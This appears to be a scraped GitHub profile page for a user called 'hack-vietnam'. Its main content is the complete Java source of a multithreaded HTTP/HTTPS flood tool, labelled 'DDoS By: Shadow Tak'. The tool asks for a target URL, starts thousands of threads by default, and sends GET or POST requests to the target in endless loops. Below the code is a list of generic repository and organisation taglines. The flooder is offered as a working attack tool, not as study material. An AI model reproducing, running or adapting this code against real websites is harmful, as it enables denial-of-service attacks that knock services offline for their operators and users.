hack-vietnam Goto Github PK
Type: User
Type: User
import java.io.*; import java.net.*; import java.util.Scanner; import java.util.ArrayList; import javax.net.ssl.HttpsURLConnection; public class Dos implements Runnable { private final String USER_AGENT = "Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1"; private static int amount = 0; private static String url = ""; int seq; int type; public Dos(int seq, int type) { this.seq = seq; this.type = type; } public void run() { try { while (true) { switch (this.type) { case 1: postAttack(Dos.url); break; case 2: sslPostAttack(Dos.url); break; case 3: getAttack(Dos.url); break; case 4: sslGetAttack(Dos.url); break; } } } catch (Exception e) { } } public static void main(String[] args) throws Exception { String url = ""; int attakingAmoun = 0; Dos dos = new Dos(0, 0); Scanner in = new Scanner(System.in); System.out.print("Enter Url: "); url = in.nextLine(); System.out.println("\n"); System.out.println("Starting Attack to url: " + url); String[] SUrl = url.split("://"); System.out.println("Checking connection to Site"); if (SUrl[0] == "http" || SUrl[0].equals("http")) { dos.checkConnection(url); } else { dos.sslCheckConnection(url); } System.out.println("Setting DDoS By: Shadow Tak"); System.out.print("Thread: "); String amount = in.nextLine(); if (amount == null || amount.equals(null) || amount.equals("")) { Dos.amount = 2000; } else { Dos.amount = Integer.parseInt(amount); } System.out.print("method: "); String option = in.nextLine(); int ioption = 1; if (option == "get" || option == "GET") { if (SUrl[0] == "http" || SUrl[0].equals("http")) { ioption = 3; } else { ioption = 4; } } else { if (SUrl[0] == "http" || SUrl[0].equals("http")) { ioption = 1; } else { ioption = 2; } } Thread.sleep(2000); System.out.println("Starting Attack"); ArrayList<Thread> threads = new ArrayList<Thread>(); for (int i = 0; i < Dos.amount; i++) { Thread t = new Thread(new Dos(i, ioption)); t.start(); threads.add(t); } for (int i = 0; i < threads.size(); i++) { Thread t = threads.get(i); try { t.join(); } catch (Exception e) { } } System.out.println("Main Thread ended"); } private void checkConnection(String url) throws Exception { System.out.println("Checking Connection"); URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); int responseCode = con.getResponseCode(); if (responseCode == 200) { System.out.println("Connected to website"); } Dos.url = url; } private void sslCheckConnection(String url) throws Exception { System.out.println("Checking Connection (ssl)"); URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); int responseCode = con.getResponseCode(); if (responseCode == 200) { System.out.println("Connected to website"); } Dos.url = url; } private void postAttack(String url) throws Exception { URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); con.setRequestMethod("POST"); con.setRequestProperty("User-Agent", USER_AGENT); con.setRequestProperty("Accept-Language", "en-US,en;"); String urlParameters = "out of memory"; con.setDoOutput(true); DataOutputStream wr = new DataOutputStream(con.getOutputStream()); wr.writeBytes(urlParameters); wr.flush(); wr.close(); int responseCode = con.getResponseCode(); System.out.println("POST attack done!: " + responseCode + "Thread: " + this.seq); } private void getAttack(String url) throws Exception { URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); int responseCode = con.getResponseCode(); System.out.println("GET attack done!: " + responseCode + "Thread: " + this.seq); } private void sslPostAttack(String url) throws Exception { URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); con.setRequestProperty("Accept-Language", "en-US,en;"); String urlParameters = "out of memory"; con.setDoOutput(true); DataOutputStream wr = new DataOutputStream(con.getOutputStream()); wr.writeBytes(urlParameters); wr.flush(); wr.close(); int responseCode = con.getResponseCode(); System.out.println("GET attack done!:" + responseCode + "Thread: " + this.seq); } private void sslGetAttack(String url) throws Exception { URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); int responseCode = con.getResponseCode(); System.out.println("GET attack done!: " + responseCode + "Thread: " + this.seq); } }
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.